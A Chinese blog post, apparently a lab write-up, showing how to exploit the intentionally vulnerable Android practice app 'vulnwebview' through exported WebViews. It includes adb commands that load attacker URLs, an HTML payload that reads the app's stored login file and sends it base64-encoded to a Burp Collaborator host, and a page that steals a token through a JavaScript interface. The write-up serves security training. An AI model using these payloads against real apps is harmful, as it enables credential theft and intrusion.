Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >利用Android Webview漏洞

利用Android Webview漏洞

作者头像
tea9
发布于 2023-08-24 01:49:17
发布于 2023-08-24 01:49:17
72000
代码可运行
举报
文章被收录于专栏:tea9的博客tea9的博客
运行总次数:0
代码可运行

利用Android WebView漏洞

0x00 说明

测试程序来源:

https://github.com/t4kemyh4nd/vulnwebview

可以直接下载app.apk进行测试

下载安装后打开长下面的样子,Username:vuln Password:webview

需要登录一下

0x01 Android WebView说明

WebView是Android类的扩展,允许将网页显示在Activity页面布局中,但是没有所有的Web浏览器的功能,如导航栏或者地址栏。默认只显示一个网页。

0x02 导出的WebView

利用导出的WebView,可以进行WebView劫持,常见的就是开放重定向漏洞,利用条件webview所在的Activity需要是导出的

如何判断导出,有两种方式:

  • 显示的声明android:exported=”true”
  • 使用intent filters并且没有显示的声明android:exported=”false”

RegistrationWebView是显示导出的,MainActivity是intent filters导出的。

分析受害者代码:

RegistrationWebView

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.tmh.vulnwebview;

import android.os.Bundle;
import android.util.Log;
import android.webkit.ConsoleMessage;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;

/* loaded from: classes.dex */
public class RegistrationWebView extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_registration_web_view);
        setTitle("Registration page");
        loadWebView();
    }

    private void loadWebView() {
        WebView webView = (WebView) findViewById(R.id.webview);
        webView.setWebChromeClient(new WebChromeClient() { // from class: com.tmh.vulnwebview.RegistrationWebView.1
            @Override // android.webkit.WebChromeClient
            public boolean onConsoleMessage(ConsoleMessage consoleMessage) {
                Log.d("MyApplication", consoleMessage.message() + " -- From line " + consoleMessage.lineNumber() + " of " + consoleMessage.sourceId());
                return true;
            }
        });
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setAllowUniversalAccessFromFileURLs(true);
        webView.getSettings().setJavaScriptEnabled(true);
        if (getIntent().getExtras().getBoolean("is_reg", false)) {
            webView.loadUrl("file:///android_asset/registration.html");
        } else {
            webView.loadUrl(getIntent().getStringExtra("reg_url"));
        }
    }
}

可以看到loadWebView方法获取传输过来的reg_url参数的值,直接在webview中加载,上面代码没有任何过滤可以直接用于开放重定向。

利用:

可以使用adb进行利用,传输参数打开恶意网页。

概念利用命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
adb shell am start -n componentname --es string "domain.com"

实际利用命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://attack.com"
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://www.baidu.com"
Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }

注意:上述方法仅在直接导出组件时才有效,不适用Intent filters导出的组件。

0x03 WebView启用setAllowUniversalAccessFromFileURLs

开启setAllowUniversalAccessFromFileURLs(可以访问文件),配合开启setJavaScriptEnabled(可以运行js脚本)选项,在加上导出的WebView,可以导致攻击者读取任意文件漏洞。

分析代码:

上面代码已经开启了选项

利用:

尝试读取本地文件存储的登录信息。使用Burp Collaborator client接收登录信息

susafu.html

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<script>
	var url='file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'//本地文件路径
	function load(url){
		var xhr=new XMLHttpRequest();
		xhr.onreadystatechange = function(){
			if(xhr.readyState === 4){
				fetch('https://bjyuns1ez806dh912ethipox4oafy4.burpcollaborator.net/?exfiltrated='+btoa(xhr.responseText));//发送 b64 encoded文件给攻击者
			}
		}
		xhr.open('GET',url,true);
		xhr.send('');
	}
	load(url)
</script>

用adb把sauafu.html移动到sd卡中

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
λ adb push sauafu.html /sdcard/
sauafu.html: 1 file pushed, 0 skipped. 1.0 MB/s (467 bytes in 0.000s)

尝试运行利用命令

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
λ adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/sauafu.html"
Starting: Intent { cmp=com.tmh.vulnwebview/.RegistrationWebView (has extras) }

执行成功后会打开一个空页面,然后查看burp中接收的信息

然后burp collaborator成功收到请求,解密后就是登录信息

0x04 WebView启用JavaScript选项

开发可以使用以下配置启用javascript

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
webView.getSettings().setJavaScriptEnabled(true);

添加下面配置会在网页的java script脚本和应用程序的客户端java代码之间创建接口。即,网页的javascript脚本可以访问原生的java代码并将代码注入到程序中。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
webView.addJavascriptInterface(new WebAppInterface(this), "Android");  

如果当前的Activity是导出的并允许攻击者执行攻击,可能导致XSS和token盗取。

受害代码:

SupportWebView

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.tmh.vulnwebview;

import android.os.Bundle;
import android.webkit.WebChromeClient;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
import java.util.HashMap;
import java.util.Map;
import java.util.UUID;

/* loaded from: classes.dex */
public class SupportWebView extends AppCompatActivity {
    /* JADX INFO: Access modifiers changed from: protected */
    @Override // androidx.appcompat.app.AppCompatActivity, androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_support_web_view);
        setTitle("Support");
        loadWebView();
    }

    public void loadWebView() {
        WebView webView = (WebView) findViewById(R.id.webview2);
        webView.setWebChromeClient(new WebChromeClient());
        webView.setWebViewClient(new WebViewClient());
        webView.getSettings().setJavaScriptEnabled(true);
        Map<String, String> extraHeaders = new HashMap<>();
        extraHeaders.put("Authorization", getUserToken());
        webView.addJavascriptInterface(new WebAppInterface(this), "Android");
        webView.loadUrl(getIntent().getStringExtra("support_url"), extraHeaders);
    }

    public static String getUserToken() {
        String uuid = UUID.randomUUID().toString();
        return uuid;
    }
}

上面代码可以看到已经启用javascript,还有定义的接口声明Android

WebAppInterface

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
package com.tmh.vulnwebview;

import android.content.Context;
import android.webkit.JavascriptInterface;

/* loaded from: classes.dex */
public class WebAppInterface {
    Context mContext;

    /* JADX INFO: Access modifiers changed from: package-private */
    public WebAppInterface(Context c) {
        this.mContext = c;
    }

    @JavascriptInterface
    public String getUserToken() {
        return SupportWebView.getUserToken();
    }
}

接口的内容是获取usertoken

攻击代码:

token.html

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<script type="text/javascript">
	document.write("token:"+Android.getUserToken());
</script>

以上脚本是从Android接口调用getUserToken方法并写入token

本地启动web服务

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
python3 -m http.server 8888

可以使用下面链接访问token.html

http://192.168.1.4:8888/token.html

攻击命令:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
adb shell am start -n com.tmh.vulnwebview/.SupportWebView --es support_url "http://192.168.1.4:8888/token.html"

上面造成token获取

也可以进行xss攻击

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
<script type="text/javascript">
	alert("kal")
</script>

LINK

利用 Android WebView 漏洞

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
Android:最全面的 Webview 详解
注意: 每个 Application 只调用一次 WebSettings.setAppCachePath(),WebSettings.setAppCacheMaxSize()
Carson.Ho
2019/02/22
3.8K0
史上最全webview详解
WebView在现在的项目中使用的频率应该还是非常高的。 我个人总觉得HTML5是一种趋势。找了一些东西,在此总结。 本篇最后有一个非常不错 的 Html5Activity 加载类,不想看的可以直接跳下载。 WebSettings WebSettings webSettings = mWebView .getSettings(); //支持获取手势焦点,输入用户名、密码或其他 webview.requestFocusFromTouch(); setJavaScriptEnabled(true);
xiangzhihong
2018/02/01
6.8K0
Android实现WebView加载assets文件夹下的html文件,html返回webView.canGo,android嵌入h5进行交互,调试错误 net::ERR_FILE_NOT_FOUND
我的环境:win7 ,Android studio 3.0.1.   java8;
zhangjiqun
2024/12/16
2140
WebView完全解读
WebView是一个使用WebKit引擎(4.4之后基于Chromium)的浏览器控件。因此可以将WebView当做一个完整的浏览器使用。
小小工匠
2021/08/16
3.6K0
Android:你不知道的 WebView 使用漏洞
JS调用Android的其中一个方式是通过addJavascriptInterface接口进行对象映射:
Carson.Ho
2019/02/22
3.4K0
一文彻底搞懂安卓WebView白名单校验
近两年公司端侧发现的漏洞很大一部分都出在WebView白名单上,针对这类漏洞安全编码团队也组织过多次培训,但是这种漏洞还是屡见不鲜。下面本人就结合产品中容易出现问题的地方,用实例的方式来总结一下如何正确使用WebView白名单,给开发的兄弟们作为参考。
FB客服
2019/05/09
4.9K0
一文彻底搞懂安卓WebView白名单校验
WebView深度学习(一)之WebView的基本使用以及Android和js的交互
//设置WebView缓存(当加载 html 页面时,WebView会在/data/data/包名目录下生成 database 与 cache 两个文件夹,请求的 URL记录保存在 WebViewCache.db,而 URL的内容是保存在 WebViewCache 文件夹下)
AWeiLoveAndroid
2018/09/03
6.6K0
WebView深度学习(一)之WebView的基本使用以及Android和js的交互
Android WebView 缓存处理
当我们加载Html时候,会在我们data/应用package下生成database与cache两个文件夹: 我们请求的Url记录是保存在webviewCache.db里,而url的内容是保存在webviewCache文件夹下. WebView中存在着两种缓存:网页数据缓存(存储打开过的页面及资源)、H5缓存(即AppCache)。
战神伽罗
2019/07/22
4.6K0
android webview file域控制不严格利用
必须条件: 1.存在webview的activity组件可导出 2.当前的webview允许使用file协议
tea9
2022/07/16
8470
android webview file域控制不严格利用
WebView深度学习(二)之全面总结WebView遇到的坑及优化
这篇文章讲一下WebView遇到的那些坑,带领各位爬坑。这里如果有你没遇到的问题,欢迎留言告诉我,我尽我所能帮你解决。感谢大家支持。
AWeiLoveAndroid
2018/09/03
6.1K0
WebView深度学习(二)之全面总结WebView遇到的坑及优化
android中WebView附件问题解决
现在的很多app项目中都有嵌入html的需求,这么设计产品有很多好处,一个html可以同时在很多平台上跑(android,ios,web端)。 从android 角度来讲 加载html所用的组件是 webview。
再见孙悟空_
2023/02/10
1.2K0
Android中页面旋转不销毁Webview(不重建Activity)
在Android中,如果希望WebView页面在设备旋转时不销毁并重新加载,可以通过以下步骤实现:
码客说
2024/04/13
6190
[android] WebView与Js交互
调用WebView对象的getSettings()方法,获取WebSettings对象
唯一Chat
2019/09/10
6K0
[android] WebView与Js交互
安卓和webview交互
阿超
2023/12/04
3480
android学习笔记----WebView的url跳转时方法执行顺序体会
 WebViewActivity.java(这段代码访问google的时候有点问题,后续说明)
砖业洋__
2023/05/06
9200
android学习笔记----WebView的url跳转时方法执行顺序体会
用安卓 WebView 做一个“套壳”应用
本文主要讲解如何制作一个安卓原生的“壳”来加载我们的 H5 网页,最终实现一个简单的 Hybrid App(套壳应用)。
陈皮皮
2020/08/05
14.6K0
用安卓 WebView 做一个“套壳”应用
Android webView打开网页
这个就比较简单了,直接拖一个控件,再加载一下url,记得在AndroidManifest.xml中加一下权限
SingYi
2022/07/13
2.2K0
Android webView打开网页
这是一份Android全面&详细的-Webview使用攻略
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sNTzdRBr-1640421131904)(https://p1-jj.byteimg.com/tos-cn-i-t2oaga2asx/gold-user-assets/2017/5/24/96d6b5ac37d63dcc0d7689c9e33fff57~tplv-t2oaga2asx-watermark.image)]
用户9253515
2021/12/25
5.4K2
相关推荐
Android:最全面的 Webview 详解
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验